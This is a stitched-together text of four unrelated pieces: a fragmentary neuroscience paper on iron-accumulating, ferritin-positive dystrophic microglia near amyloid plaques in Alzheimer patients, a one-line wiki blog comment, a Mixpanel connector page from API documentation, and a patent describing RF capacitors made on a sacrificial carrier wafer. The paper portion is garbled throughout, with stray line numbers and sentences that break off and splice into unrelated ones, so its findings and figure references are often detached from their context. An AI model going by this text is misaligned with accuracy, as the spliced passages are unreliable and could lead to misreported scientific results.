type of data was developed.
19
(TMEM, PRY12, FTL, Iba) component images was utilized as input and level-set parameters were set to ν=2 20 and μ=3. In both cases, level-sets were initialized with regions obtained using the Otsu thresholding method [19] 21 which is robust to intensity variation between images originating from the white and grey matter. Additionally,
22
somas and nuclei with a total area smaller than 50 and 30 pixels, respectively, were removed.
24
For the extension of the obtained segmentation to the whole cytoplasmic area, the approach previously 25 described for soma was repeated with less strong regularization (v=2, μ=2). The result of this step was a finer 26 segmentation capturing microglia areas that are less bright than the soma. Connected components overlapping 27 with the previously identified somas were regarded as microglia cells, whereas not overlapping components 28 were considered as possible detached processes. At this step, in case a blood vessel was identified in an image, 29 the Li thresholding method [20] was chosen over Otsu for the initialization of the level-sets algorithm, as it is 8 less sensitive to the high intensity pixels representing the vessel. Vessels were defined as components larger 1 than 4000 pixels, after Otsu thresholding of the autofluorescent component image.
3
For correct identification of microglia cells in the proximity of Aβ-plaques, the watershed segmentation was 4 applied specifically to those cells whose cytoplasmic area is shared among multiple microglia somas [21]. Aβ-5 plaque identification was performed employing a semi-supervised approach using Ilastik [22].
7
Finally, branches identified within a 10 pixel radius from the region corresponding to each identified microglia 8 soma were identified as detached processes and assigned to the microglia cell. The median expression value of each marker for each phenotype was illustrated with a heatmap. The similarities 1 among the identified phenotypes were observed from a t-SNE [26] embedding using the same input as in 2 Phenograph and the default parameters. The t-SNE embedding was coloured according to the cluster of each 3 cell, its cohort or its individual marker expression values [27].
5
To explore the differences between the Alzheimer patients and controls regarding their phenotypes and their 6 spatial relationship with the Aβ-plaques, an interactive, data-driven pipeline described by [28] was utilized. with a small soma and many thin processes (Fig. 1a) and quantification indicated a significant increase of iron-5 positive cells in Alzheimer patients compared to controls (P = 0.0024; Fig. 1b). Additionally, iron-positive cells 6 appeared to cluster in groups, something that was not observed in control patients (Fig. 1a). All MTG tissue 7 blocks have also previously been scanned using T2*-w MRI, sensitive for paramagnetic substances such as iron.
8
MRI images were scored based on alterations in signal intensity reflecting overall parenchymal iron 9 accumulation and focal iron depositions, and were published by Bulk et al. [10]. An increase of iron-positive 10 microglia appeared to be only present in cases with the highest MRI severity score, indicating a significant 11 increase of iron-positive microglia only to occur in subjects with a pronounced macroscopic iron-phenotype 12 (Fig. 1c). Subsequently we studied the correspondence of iron accumulation with altered expression of the main 13 iron-storage protein ferritin light chain (FTL), as FTL is known to be expressed in microglia and 14 oligodendrocytes, whereas heavy chain ferritin is primarily expressed by neurons in Alzheimer tissue [30]. The
15
Perl's staining and the FTL staining showed a highly similar staining pattern, with focal clusters of cells 16 representing microglia morphology (Fig. 1d). Thus, increased expression of the main iron-storage protein FTL 17 appears to reflect iron accumulation in microglial cells.
Quantitative analysis enables microglia phenotyping 1
To confirm the microglial origin of FTL + cells, study their activation state and potential interaction with Aβ, we 2 designed the microglia multispectral immunofluorescence (mic-mIF) panel that can simultaneously detect 6 3 different markers (Supplementary Table 2). The MTG of 12 Alzheimer patients, both of early-and late onset, 4 and 9 control subjects (Supplementary Table 1) was stained and imaged. After image acquisition and 5 multispectral unmixing of the data, images were exported for automated segmentation, phenotyping and spatial 6 analysis (Fig. 2). In total, 3149 images (110-236 per subject) were obtained. Multispectral unmixing allowed 7 for simultaneous detection of FTL with the nuclear marker DAPI, TMEM119, P2RY12, Iba1 and Aβ at 0.5x0.5 8 μm resolution (Fig. 3a). TMEM119 and P2RY12 are generally considered homeostatic microglia-specific Alzheimer patients. Images were segmented using a targeted in-house segmentation pipeline allowing 13 segmentation of cells with processes (like microglia) in 2D images ( Fig. 3b; Supplementary Fig. 2). After 14 segmentation, unsupervised clustering using Phenograph assigned single segmented cells to 20 separate clusters.
15
Following manual evaluation of the unsupervised clusters, 6 clusters were excluded based on non-microglial 16 morphology and/or sub-threshold expression of all microglial markers (TMEM119/P2RY12/Iba1). In addition, 17 three times two clusters were merged based on similarity in protein expression levels and their visual 18 appearance ( Supplementary Fig. 3). Exclusion of the non-microglial cells resulted in identification of 69227 19 cells, with no significant differences in the number of microglia per mm 2 between control and Alzheimer 20 patients in either grey matter (GM) or white matter (WM) (Fig. 3c). The remaining 11 clusters (C1-C11) were 21 identified as major microglia phenotype clusters (Fig. 3d). Though the 11 different phenotypes clustered on the 22 t-SNE plot, the low degree of separation suggests a rather continuous spectrum of expression of the microglia 23 markers (Fig. 3e). The control and Alzheimer patients did cluster together, and the marker-based t-SNE plots 24 already revealed more cells with high TMEM119 and P2RY12 expression in controls, but increased FTL 25 expression in Alzheimer patients (Fig. 3f). With regard to anatomical region, only C1 and C2 appeared to be 26 more present in the grey matter (GM), whereas C5 and C6 appeared to be proportionally more present in the 27 white matter (WM) (Fig 3g). Four FTL + clusters (C1-C3, C5) were identified, with differing expression levels 28 and co-expression levels of P2RY12, TMEM119 and Iba1 (Fig. 3d). Cluster C1 (FTL + Iba1 + ) appeared 29 significantly more present in Alzheimer patients (P = 0.0264), while C2 (P2RY12 + TMEM119 + FTL + Iba1 + ) was more present in controls (P = 0.0055; Fig. 3h). FTL + Iba1 + clusters lacking either P2RY12 (C3) or TMEM119 1 (C5) did not differ significantly in prevalence between control and Alzheimer patients. Cluster C4 showed 2 solely Iba1 expression, meaning that this cluster likely also consists of non-resident infiltrating macrophages.
3
Additionally, three P2RY12 + clusters (C6-C8) were identified, with the highest expressing cluster (C8) being 4 more present in controls. The same applied for the TMEM119 + clusters (C9-C11), with C10 and C11 having image as a 'glyph' (Fig 4a)[29], with the different colours corresponding to the respective cluster of the 14 infiltrating microglia, to analyse which clusters predominantly infiltrated Aβ-plaques. Subsequently, all 15 individual cells represented as cluster-colored dots or the cluster-colored glyphs were plotted back onto the 16 original whole slide image (Fig 4a), to assess differences in cluster composition of microglial Aβ infiltration on 17 a whole-section scale. As expected, quantification showed significantly more identified Aβ-plaques in 18 Alzheimer patients, although some were found in controls as well (P = 0.0002; Fig 4b). Furthermore, a higher 19 percentage of the plaques showed microglia infiltration in Alzheimer patients (P = 0.013; Fig 4c). Looking at 20 the whole slide distribution, Aβ-plaques were found to be more present in the coronal sulcus rather than the 21 gyrus. This also appeared to be associated with the regional microglia phenotype, as can be seen for the 22 predominantly purple (C6-C8) microglia populating the Aβ-plaque deplete regions (Fig. 4d). To quantify the 23 influence of Aβ-plaques on microglia phenotype, we compared all phenotyped microglia (all-mic) with the 24 subset of microglia infiltrating Aβ-plaques (Aβ-mic). Controls showed a slight percental increase of C1 and C5 25 in Aβ-mic compared to all-mic, and less Aβ-plaque infiltration of TMEM119 + clusters C9-C11 (Fig. 4e), though 26 this was based on a limited total number of Aβ-plaques. Alzheimer patients on the other hand, showed a large 27 percental increase of FTL + -clusters C1 and C3 in the Aβ-mic population (Fig. 4E), which was also statistically 28 significant when looking at subject-specific proportional increases (C1: P < 0.0001, C3: P = 0.0004; Figs. 4f,g).
29
While C1 and C3 microglia together make up less than 20% of all-mic, they constitute almost 50% of the Aβ-30 13 mic population (Fig. 4e). P2RY12 + clusters C6-C8, on the other hand, showed a small contribution to Aβ-mic 1 compared to all-mic (Fig. 4e). Finally, not only did C1 and C3 make up the majority of Aβ-mic, but also when 2 examining the proportions of these individual clusters that directly infiltrated Aβ-plaques, they showed much 3 higher proportion of infiltration than all the other clusters (Fig 4h). A visual example of the C1 and C3 microglia 4 infiltrating an Aβ-plaque on the original mic-mIF images can be found in Fig. 4i. All in all, these results suggest 5 Aβ-plaques to be predominantly infiltrated by a specific subset of microglia, characterized by increased FTL 6 and Iba1 expression and loss of expression of homeostatic markers P2RY12 or TMEM119 and P2RY12. Figs. 4a,d)). This suggests that it is especially the marked increase of FTL expression found in C1-microglia that 14 reflects substantial iron loading, while moderate FTL expression is also found in non-iron accumulating cells in 15 controls. Although we already found C1-microglia to significantly infiltrate Aβ-plaques, we also checked for its 16 correlation with overall Aβ and Tau load, as assessed by a neuropathologist using Thal stage and Braak stage, 17 respectively. A marked increase of the number of C1-microglia was solely found in high-pathology load 18 subjects with Thal phase V, and Braak stage V/VI (Fig. 5b,c), though not all high-pathology load subjects show 19 increase of C1-microglia. C2-microglia were primarily found in controls with low Braak stage I/II and Thal I-II, 20 whereas C3-microglia were present in both controls and Alzheimer patients with varying pathological burdens 21 (supplementary Fig. 4b,c,e,f). This is in line with the finding that iron-positive microglia were particularly Figs. 4g-q). In addition, we looked at 28 differences between APOE3 and APOE4 carriers, as the latter have been found to have elevated ferritin levels in 29 the CSF [37]. As expected, APOE4 carriers had more Aβ-plaques (Fig. 5d), but did not show overall increased microglia infiltration (Fig. 5e). Though sample sizes for both groups were small (n = 4-6), a trend indicating 1 higher prevalence of C1-microglia in the GM could be observed (P = 0.0667; Fig. 5f), which was not the case 2 for C2 and C3-microglia ( Supplementary Fig. 4r,s) However, no difference was observed when looking at the 3 proportion of Aβ-plaques infiltrated by C1 microglia (Aβ-mic) (P = 0.5096; Fig. 5g). This suggests that even 4 though a higher percentage of C1-microglia infiltrate Aβ-plaques (P = 0.0381; Fig. 5h), this is likely due to the 5 increased number of Aβ-plaques present in the APOE4 carriers.
11
phagocytic and perivascular macrophages (Fig. 6a), based on previously described morphological phenotypes 12 [38]. The parenchyma of controls was predominantly populated by C6-C11-microglia, which consistently 13 expressed TMEM119 and/or P2RY12. These cells presented with homeostatic morphology, showing small 14 circular or oval cell bodies, with thin highly ramified processes and extensive branches (Fig. 6b). Morphological 15 appearance therefore appeared to be in line with the homeostatic protein phenotype. Occasionally activated 16 microglia were identified, which have larger cell bodies and noticeably fewer branches and ramifications 17 (especially second degree) (Fig. 6a). Activated cells generally showed higher Iba1 and FTL expression and were 18 often phenotyped as C2-microglia (Fig. 6a). Microglia in Alzheimer patients, on the other hand, had a much 19 more heterogeneous appearance; homeostatic, activated, dystrophic and phagocytic microglia could all be 20 observed within the coronal sulcus of a single patient (Fig. 6b). Though almost all phenotype clusters and 21 morphological clusters could be observed, we focussed on the C1-microglia, as they reflected iron + -microglia.
22
We found the striking majority of C1-microglia to have a dystrophic morphological appearance. The dystrophic 23 cells show a very distinct phenotype, often with a cloudy or cytorrhexic (fragmentation of the cytoplasm) 24 appearance which results in ill-defined processes (Fig. 6a). There is often deramification and the remaining 25 branches show spheroids and fragmentation. Especially microglia (both C1 and C3) infiltrating Aβ plaques 26 showed highly dystrophic morphological characteristics, indicative of an advanced activated/neurodegenerative 27 state (Fig. 6c). The dystrophic morphology was also verified using 3D confocal microscopy, which also showed 28 the same cytorrhexic appearance of microglia surrounding the Aβ-plaques (Fig. 6d). All in all, the finding of a 29 dystrophic phenotype in C1-microglia was in line with the increased Iba1 and decreased TMEM119 and
1
In this manuscript, we confirmed that increased FTL expression reflects an increase in iron accumulation in 2 microglia in the cortex of Alzheimer patients. Microglia with increased FTL expression also showed higher Iba1 3 expression, but loss of homeostatic markers TMEM119 and P2RY12, indicative of an activated phenotype. On 4 further investigation this FTL + Iba1 + phenotype appeared to be increasingly present in Alzheimer patients and 5 the predominant Aβ-plaque infiltrating microglia phenotype. Morphologically they appeared to be in a 6 dystrophic activation stage.
7
Firstly, in this study we confirmed that previously identified iron-positive cells in Alzheimer patients [39,40] are 8 of microglial rather than astrocytic origin, and show high FTL expression. Subsequently, using multispectral 9 fluorescence and unsupervised clustering, we identified an several FTL + -clusters, which were variably present in 10 controls and Alzheimer disease stages. C2-microglia, which displayed positivity for all included microglia 11 markers were almost exclusively present in control patients. Conversely, C1-microglia (FTL + Iba1 + ) were 12 significantly more present in AD patients, and C3-microglia (TMEM119 + FTL + Iba1 + ) were marginally present in 13 either group. Interestingly, both C1 and C3-microglia showed a strong tendency to infiltrate Aβ-plaques. C1-14 microglia were almost exclusively present in advanced stage Alzheimer patients, whereas C2-microglia were 15 primarily detected in controls (with low Thal/Braak stages), and C3-microglia were variably present across 16 controls and Alzheimer patients of all stages. Regarding the temporal dynamics of these clusters, one could 17 therefore hypothesize that in Alzheimer's disease microglia surround Aβ-plaques and lose P2RY12 expression, 18 as has been observed previously by others (transition from C2 to C3) [35,41]. As of yet we do not know what 19 the relevance is of the preserved TMEM119-expression. Over time, these microglia take up iron, causing a 20 pronounced increase of FTL expression and loss of TMEM119. This corresponds to the fact that only C1-21 microglia appeared to correlate with iron-accumulating microglia. However, our study population is not ideal to 22 dissect the temporal dynamics of these clusters, since the majority of Alzheimer patients showed advanced 23 disease (Braak V/VI) and only two patients showed mild to moderate (Braak III/IV). Future work studying these 24 phenotypes in a larger cohort with a larger range of disease stages would be highly relevant to accurately 25 determine at what stage of the disease C2 microglia prevalence decreases and C1 and C3 microglia prevalence 26 increases.
28
Several qualitative studies had previously identified increased presence of dystrophic ferritin + microglia in brain 1 tissue of Alzheimer patients [6,39,42,43]. The dystrophic morphological appearance was also confirmed in this 2 study, though the functional insights of these morphologically defined states remains debatable. Our spatial 3 analysis revealed a strong tendency of FTL + Iba1 + to infiltrate Aβ-plaques; significantly more than can be 4 expected based on prevalence of the cluster itself, and more than any other identified microglia cluster.
5
Although some other studies had already looked into the association of dystrophic ferritin + microglia with Aβ-6 plaques [6,7,30,39,44], results were inconsistent, as none of these studies so far looked into the relative 7 proportion of these microglia in the total population. The importance of this is also stressed in a recent study by
19
To date, the reason for the observed increase of FTL-expression remains disputed. With FTL being the long-20 term storage component of ferritin, its expression is likely to be increased in response to increased intracellular 21 labile iron concentrations. Yet, ferritin is also widely recognized as an acute phase reactant and it has also been 22 suggested that microglia upregulate ferritin as a response to exhaustion, caused by the attempting to 23 phagocytose aggregated Aβ [44]. However, our findings show that the identified FTL + Iba1 + -microglia closely 24 reflected microglia with high levels of the metal iron, and therefore suggest that the observed increased FTL-25 expression at least does not merely reflect inflammatory activation or exhaustion, but also increased iron levels.
26
This is in line with a previous study, which found ferritin levels in the CSF to not be associated with an 27 inflammatory response in Alzheimer patients and hypothesized ferritin levels to rather reflect changes in iron 28 associated with tangle and plaque pathology [46]. Why iron increases with age and even more profoundly in neurodegenerative diseases is still largely unknown 1 [8,47]. It is hypothesized to be caused by several factors including increased blood-brain barrier permeability 2 and disorganization of the iron-dense myelin sheaths [48][49][50]. Alongside a general increase of iron in the 3 parenchyma, iron was also shown to accumulate inside Aβ-plaques [50,51]. Therefore, a possible hypothesis 4 for why iron is sequestered in microglia surrounding Aβ-plaques, could be that the iron is taken up as byproduct 5 while attempting to phagocytose the Aβ aggregates. Conversely, considering we only found approximately 25% 6 of iron-accumulating C1-microglia to infiltrate Aβ-plaques, iron is more likely sequestered using either DMT1 7 or Transferrin-receptors and stored inside FTL, in an attempt to mitigate the potentially toxic effects of free iron, activation, by showing that in human brain tissue of Alzheimer patients, microglia are exposed to a combination 19 iron and Aβ. Finally, these findings are also in line with recent clinical studies, in which iron was found to act as 20 a potential disease modifier by accelerating deterioration in Alzheimer patients with high Aβ load [12,13].
21
Thanks to the possibility to visualize up to six protein markers on the same section using mIF, we could better 22 study the great heterogeneity in microglia phenotype and its spatial relationship with pathology. A limitation of 23 mIF compared to other high-dimensional techniques such as single-cell or imaging mass cytometry is the 24 limited number of markers available to characterize the complex microglial activation states. However, single-25 cell mass cytometry lacks the spatial component, which is essential when studying the relation with Aβ. Imaging 26 mass cytometry, on the other hand, does capture the spatial distribution, however to date does not enable high-27 throughput analysis and offers limited resolution. Since microglia have a very complicated and variable 28 morphology, solely evaluating protein expression directly surrounding the nucleus is insufficient, and high-29 resolution images are required for proper segmentation and phenotyping. Secondly, as we are studying relatively rare activated microglia subtypes that will not be present in every ROI or even subject, we required high-1 throughput quantitative analysis methods. The mIF-mic panel, together with our optimized microglia 2 segmentation pipeline for 2D-images, enabled accurate segmentation and analysis of > 60000 cells to carefully 3 identify the FTL + -microglia in an unbiased fashion.
4
In this study we adopted an unsupervised learning approach to generate distinct clusters in our dataset, and 5 avoid bias in the identification in clusters, as can be present in more classical IHC studies. However, as already 6 indicated in the results section, even though distinct clusters were identified, the low degree of separation on the 7 t-SNE mapping and similarity on the associated heatmap, suggest these clusters may be more of a continuum 8 rather that distinct subsets. This is in line with other transcriptomic and proteomic studies, in which they also 9 showed the microglia clusters to be more of a continuum, even when studying substantially more genes or
23
In summary, we showed that our multispectral immunofluorescence pipeline allowed for accurate identification 24 of specific microglia clusters, and more importantly for the spatial analysis with respect to pathological 25 hallmarks. In this specific study we identified dystrophic FTL + Iba1 + TMEM119 -P2RY12 --microglia to be 26 significantly more present in Alzheimer's disease patient, and to be the predominant Aβ-plaque infiltrating 27 microglia cluster. Finally, in correspondence with the increase of FTL-expression, FTL + Iba1 + -microglia showed 28 massive iron-loading.
1
All material has been collected with written consent from the donors and the procedures have been approved by 2 the Medical Ethical committee of the LUMC and the Amsterdam UMC.
17
The authors have no conflicts of interest to declare. All co-authors have seen and agree with the contents of the 18 manuscript and there is no financial interest to report.
20
The data that support the findings of this study are available from the corresponding author upon reasonable
|
User blog comment:Jadefang/Urgan's Army of Ice and Snow/@comment-1956190-20101215002515
Smiles. Your right, but it's to early to sleep yet.
|
---
heading: Mixpanel
seo: Overview | Mixpanel | Cloud Elements API Docs
title: Overview
description: Integrate Mixpanel into your application via the Cloud Elements APIs.
layout: sidebarelementdoc
breadcrumbs: /docs/elements.html
elementId: 4441
parent: Back to Element Guides
order: 1
---
# Welcome to the {{page.heading}} Element
{{page.heading}} is an advanced analytics platform for mobile and the web.
{% include callout.html content="<strong>On this page</strong></br><a href=#element-details>Element Details</a></br><a href=#base-url>Base URL</a></br><a href=#authenticating-with-cloud-elements>Authenticating with Cloud Elements</a></br><a href=#error-codes>Error Codes</a>" type="info" %}
## Element Details
| Element Information | Details |
| :------------- | :------------- |
| API Documentation | [{{page.heading}} API documentation](https://mixpanel.com/help/reference) |
| Authentication | Basic |
| Events | Not supported |
| Bulk | Supported for both upload and download for `/activities` and `/users`. |
| Transformations | Supported. See [Define Common Resources and Transformations](https://docs.cloud-elements.com/home/common-object) for more information about transforming your {{page.heading}} data.|
| Rate Limits | [{{page.heading}} rate limit documentation](https://mixpanel.com/help/questions/articles/are-there-rate-limits-for-the-formatted-and-raw-api-endpoints)|
{% include Elements/index.md%}
|
Radio frequency tunable capacitors and method of manufacturing using a sacrificial carrier substrate
ABSTRACT
An embodiment of the present invention provides a method, comprising manufacturing capacitors by creating a wafer using a substrate as a sacrificial carrier for the construction of said capacitor; and removing said sacrificial carrier wafer once said capacitor processing is complete.
BACKGROUND
Tunable RF capacitors fabricated on wafers have traditionally been made on substrates such as sapphire, silicon, alumina, and a host of other substrates. These substrates are a necessary evil to provide a mechanical medium on which to fabricate the capacitors, traditionally with standard semiconductor processes such as sputtering, etching, vapor deposition, photo-lithography, and so on. Once the processing is complete, the wafer is singulated by scribing or sawing and the individual circuits are packaged or used in bare die form within other circuits.
But each substrate has its pros and cons. Silicon is a very lossy substrate at RF frequencies, even high resistivity silicon, which “converts” back to lossy silicon when exposed to some of the higher temperature process steps needed in the fabrication of these parts. Sapphire is more expensive, and often is not compatible within silicon lines due to contamination issues. Alumina is limited in diameter and has issues of flatness. Ideally, no substrate is wanted, but the capacitors must be fabricated on something until they can be mechanically captured in the packaging material, typically plastic.
Consequently, there is a strong need for an invention which may solve the shortcomings set forth above.
SUMMARY OF THE INVENTION
An embodiment of the present invention provides a method, comprising manufacturing capacitors by creating a wafer using a substrate as a sacrificial carrier for the construction of the capacitor; and removing the sacrificial carrier wafer once the capacitor processing is complete. An embodiment of the present invention may further comprise placing a thin layer of insulator onto the sacrificial carrier wafer, fabricating the capacitor by first depositing metal for a bottom electrode on the insulator, then depositing a dielectric material on top of the bottom electrode and placing a top electrode of the capacitor on the dielectric material, then overmolding the wafer, grinding the overmold to a desired level, then grinding/etching the sacrificial wafer away, and finally singulating the wafer into individual parts/chips.
This embodiment may further comprise processing any needed resistors and interconnects and protecting the capacitors and other supporting circuits with a passivation layer prior to the overmolding and opening the protective passivation layers where contacts are needed; and then adding any preferred metal stud or ball interconnections to the openings while the wafer is still intact.
Still another embodiment of the present invention provides an apparatus, comprising an RF capacitor, wherein the RF capacitor is fabricated onto a sacrificial wafer that is subsequently removed after fabrication of the apparatus. The method of manufacturing the RF capacitors of an embodiment of this apparatus may further comprise placing an insulating layer onto the wafer, forming the RF capacitor on the insulating layer, overmolding the entire wafer, grinding the overmolding down to expose connections and adding solder balls to the connections, inserting wax over the overmolding to hold a temporary wafer mounted on the wafer, grinding away most of all of the sacrificial carrier substrate wafer and etching away any remaining sacrificial wafer and stopping at the insulating layer.
BRIEF DESCRIPTION OF THE DRAWINGS
The present invention is described with reference to the accompanying drawings. In the drawings, like reference numbers indicate identical or functionally similar elements. Additionally, the left-most digit(s) of a reference number identifies the drawing in which the reference number first appears.
FIG. 1 illustrates providing a sacrificial substrate of an embodiment of the present invention;
FIG. 2 illustrates a possible step of including an overmold of an embodiment of the present invention;
FIG. 3 illustrates a possible step including grinding plastic down to expose connections and adding solder balls to the connections of an embodiment of the present invention;
FIG. 4 illustrates a possible step including using a wax to hold a ware onto a carrier and mounting a wafer on a temporary carrier of an embodiment of the present invention;
FIG. 5 illustrates a possible step including grinding away most sacrificial wafer of an embodiment of the present invention;
FIG. 6 illustrates a possible step including etching away any of the reaming sacrificial wafer of an embodiment of the present invention;
FIG. 7 illustrates a possible step of including overmolding additional plastic on opposite side of circuits for increased mechanical strength of an embodiment of the present invention;
FIG. 8 illustrates removing temporary carries and wax using standard semiconductor processes of an embodiment of the present invention; and
FIG. 9 illustrates singulating remaining structure into individual circuits of an embodiment of the present invention.
DETAILED DESCRIPTION
In the following detailed description, numerous specific details are set forth in order to provide a thorough understanding of the invention. However, it will be understood by those skilled in the art that the present invention may be practiced without these specific details. In other instances, well-known methods, procedures, components and circuits have not been described in detail so as not to obscure the present invention.
Use of the terms “coupled” and “connected”, along with their derivatives, may be used. It should be understood that these terms are not intended as synonyms for each other. Rather, in particular embodiments, “connected” may be used to indicate that two or more elements are in direct physical or electrical contact with each other. “Coupled” may be used to indicate that two or more elements are in either direct or indirect (with other intervening elements between them) physical or electrical contact with each other, and/or that the two or more elements co-operate or interact with each other (e.g. as in a cause an effect relationship).
An embodiment of the present invention provides the use of a substrate as a sacrificial carrier for the construction of capacitors and possible other circuits, and once the capacitor processing is complete, removal of the substrate completely.
Traditionally the process for the construction of capacitors and other circuits using, for example, but not limited to, a sapphire substrate wafer with existing technologies may have included:
1. process a thin (e.g., but limited to this thickness) approximately 1 um layer of insulator onto a sapphire wafer, such as SiO2, to provide a more smooth base on which to process the capacitors and other supporting circuits such as bias resistors and interconnects—it is understood that this step may be skipped if the wafers used are flat enough to begin with, having minimal or no surface defects/pitts/imperfections; 2. fabricate the capacitors by first depositing metal for the bottom electrode, then the dielectric such as BST, Para scan®, or other similar material, and the top electrode of the capacitor, with appropriate masking and etchnig steps to define these geometries/features, as is commonly done in wafer fabrication. 3. repeat the above step if capacitors are stacked on top of each other; 4. process any needed resistors, inductors, fixed capacitors, transmission lines, active devices, other microwave components and interconnects; 5. protect the circuits with a passivation layer if desired; 6. open the protective passivation layer where contacts are needed to the chips; 7. add any preferred metal stud or ball interconnections such as Cu or gold bumps/studs or solder balls to these openings (this step can be skipped if the chips will not be flipped mounted, and instead will be used and connected to with standard wire bond techniques) while the wafer is still intact; 8. saw or scribe or laser cut the wafer to singulate the circuits; 9. package the parts using standard plastic overmold processes, or wafer scale packaging, or lead frame (this step might be skipped if bare die are all that is needed, for use within other modules/packages);
In contrast, an embodiment of the present invention provides that a method of manufacturing of the present invention may include:
1. Process a thin ˜3-Sum layer of insulator onto a silicon wafer, such as, but not limited to, SiO2 or glaze, to provide a more smooth base on which to process the capacitors and other supporting circuits such as bias resistors and interconnects. Again, this step may be skipped if the wafers used are flat enough to begin with, having minimal or no surface defects/pitts/imperfections. This layer will have a secondary and very critical function of protecting the capacitors and adding a “buffer layer” or “stop layer” between the capacitors/other circuits and the silicon substrate. This will simplify the removal of the “sacrificial” silicon (or other material) substrate at the end of the processing of the circuits; 2. Fabricate the capacitors by first depositing metal for the bottom electrode, then the dielectric, such as but not limited to, BST, Para scan®, or other similar material, and the top electrode of the capacitor, with appropriate masking and etching steps to define these geometries/features, as is commonly done in wafer fabrication; 3. Repeat the above step if capacitors are stacked on top of each other; 4. Process any needed resistors, inductors, fixed capacitors, transmission lines, active devices, other microwave components and interconnects; 5. Protect the circuits with a passivation layer if desired; 6. Open the protective passivation layer where contacts are needed to the chips; 7. Add any preferred metal stud or ball interconnections such as Copper, Gold pillars/studs for enhance thermal management or solder balls to these openings, or similar connection technologies that will enable soldering or thermo sonic bonding of package; 8. Over mold the entire wafer with plastic standard encapsulant or similar material. This will later provide mechanical integrity to the wafer and circuits. Alignment features can be designed into the wafer so it can later be more easily singulated even with the opaque (typically black) plastic covering the circuits. This can be done in many ways. One way is to simply not cover 100% of the wafer, and just leave 2-5 mm (although the present invention is not limited by these dimensions which are for exemplification only) around the circumference of the wafer protected/blocked off with no overmold, so the circuits and more importantly the “streets” can be clearly seen. These streets or other alignment features can then be used in later steps to determine where to cut or scribe the wafer into individual parts; 9. Grind the overmold down until the copper pillars or solder balls are exposed through the plastic; 10. Plate or drop new solder balls onto each copper pillar connection or solder ball connection; 11. Flip the wafer+circuits+plastic overmold over, and grind as much of the wafer away as possible without removing any of the insulator layer (deposited in step 1). How much of the silicon wafer remaining will depend on the tolerance used. If the insulating layer in step one is thick enough and the grinding tolerances tight enough, the entire silicon substrate can be removed even if some of the insulator is removed as well, as long as the capacitors and other circuits are not compromised; 12. Typical grinding tolerances may only be accurate to +−15 um, which means that some of the silicon wafer will still be present after grinding. In this case, the remaining silicon can be removed using standard chemical etching processes. Care may be needed to make sure the plastic overmold or circuits are not damaged, and the chemical etching is stopped before etching deeply into the passivation from step 1. This should be easy to do by masking off the plastic or creating a mechanical barrier, and choosing a chemical etch that will remove silicon but is not very reactive with the passivation material; 13. Once the silicon wafer is completely removed, the plastic overmold will act as a “wafer” to provide mechanical stability and integrity for the circuits comprised of the capacitors, resistor, and interconnects. Now the “plastic wafer and circuits can be singulated using standard techniques like sawing—although the present invention is not limited in this respect. The exposed streets on the circuits or other alignment features can now be used to determine where exactly to saw the wafers and sigulate the parts; 14. The parts are now complete including packaging of the parts in plastic and connections through the solder balls for standard assembly onto other circuit boards or modules.
Alternatively, if more mechanical strength is needed before the silicon sacrificial wafer can be ground/etched away, the wafer+plastic can be mounted on a second temporary wafer using standard semiconductor techniques such as wax mounting. Once mounted via wax, significantly more mechanical rigidity will be created, allowing for the next physical and chemical steps to be performed.
Yet another option to increase mechanical rigidity before removing the silicon wafer, is to not grind the plastic overmold down (step 9 above) at this point in the process, leaving a thicker more rigid plastic layer to support the capacitor structures and circuits. The silicon wafer is then ground/etched away while there is a thick layer of plastic. Once this is complete, more plastic or similar material can be added where the silicon wafer was (opposite side of the circuits, so you have a plastic-circuits-plastic sandwich), and only then grind the original layer of plastic down to expose the copper pillars and add the solder bumps for the electrical connections. This will further address any concerns of environmental reliability
A further embodiment of the present invention provides to not mold plastic over the wafer until the sacrificial substrate is removed. This can be done by first mounting the wafer upside-down on a second temporary wafer using standard semiconductor techniques such as wax, then grinding/etching the silicon wafer away. Next, the wafer can be flipped/remounted via wax to a third wafer to expose the contact side of the wafer and finally covered with plastic and singulated.
Still further variations can be made to reduce this invention to practice, but a key feature of embodiment of the present invention provides the entire removal of the original carrier wafer so as to make it a sacrificial substrate which will at the end of the process not be part of the circuit/product.
Turning now to the figures, FIG. 1 at 100 illustrates a possible step including using a sacrificial substrate 140 overlaid by a insulating layer 120 on which may be placed RF capacitors and other circuits 130. Copper pillars or solder bumps or gold studs may be used for I/O connections 110 for the RF capacitors and other circuits.
Looking now at FIG. 2 at 200 is an illustration of a possible step including an overmold 210 of RF capacitors 110 of an embodiment of the present invention. FIG. 3 shown generally as 300 illustrates a possible step including grinding plastic down to expose connections 310 and adding solder balls 320 to said connections of an embodiment of the present invention.
FIG. 4 at 400 illustrates a possible step of including a wax 420 to hold a wafer onto a carrier and mounting a wafer such as, but not limited to, a second silicon wafer 410 on a temporary carrier of an embodiment of the present invention. FIG. 5 at 500 illustrates a possible step including grinding away most sacrificial wafer 510 of an embodiment of the present invention and FIG. 6 at 600 illustrates etching away 610 any of the reaming sacrificial wafer of an embodiment of the present invention.
FIG. 7 at 700 depicts including overmolding additional plastic on opposite side of circuits for increased mechanical strength 710 of an embodiment of the present invention, while FIG. 8 illustrates removing temporary carries and wax using standard semiconductor processes of an embodiment of the present invention. Finally, in FIG. 9 illustrates singulating remaining structure into individual circuits of an embodiment of the present invention.
Imporant aspects and key benefits of various embodiments of the present invention may include:
1. Far greater choice in sacrificial wafer used, since it will be removed at the end of the process, allowing the use of wafers such as silicon and avoiding the issues of contamination of standard semiconductor lines from wafers such as sapphire; 2. Lower grades of silicon (or other) wafers can be chosen that are less expensive; 3. Saw streets can be made smaller since you now have to cut through plastic, not silicon, allowing for more parts from one wafer; 4. Because of the elimination of contamination issues with wafers such as sapphire, RF capacitors and circuits can now be fabricated in standard silicon fabs, sharing capital equipment needed on those lines, rather than having to invest in an entirely separate line. This significantly reduces capex expenditure and associated depreciation costs, lowering overall cost to manufacture these parts; 5. The final product can be designed to be much thinner since there is no longer a silicon (or other material) wafer as part of the final packaged product further enabling benefit # 3; 6. There is no longer any possibility of problems with mismatch of temperature coefficient of expansion between the material used to make the RF capacitors, and the carrier wafer itself, since the wafer will be removed at the end of the process; 7. There is no longer any possibility of performance degradation caused by the carrier wafer itself, since the wafer will be removed at the end of the process;
While the present invention has been described in terms of what are at present believed to be its preferred embodiments, those skilled in the art will recognize that various modifications to the disclose embodiments can be made without departing from the scope of the invention as defined by the following claims.
1. A method, comprising: manufacturing capacitors by creating a wafer using a substrate as a sacrificial carrier for the construction of said capacitor; and removing said sacrificial carrier wafer once said capacitor processing is complete.
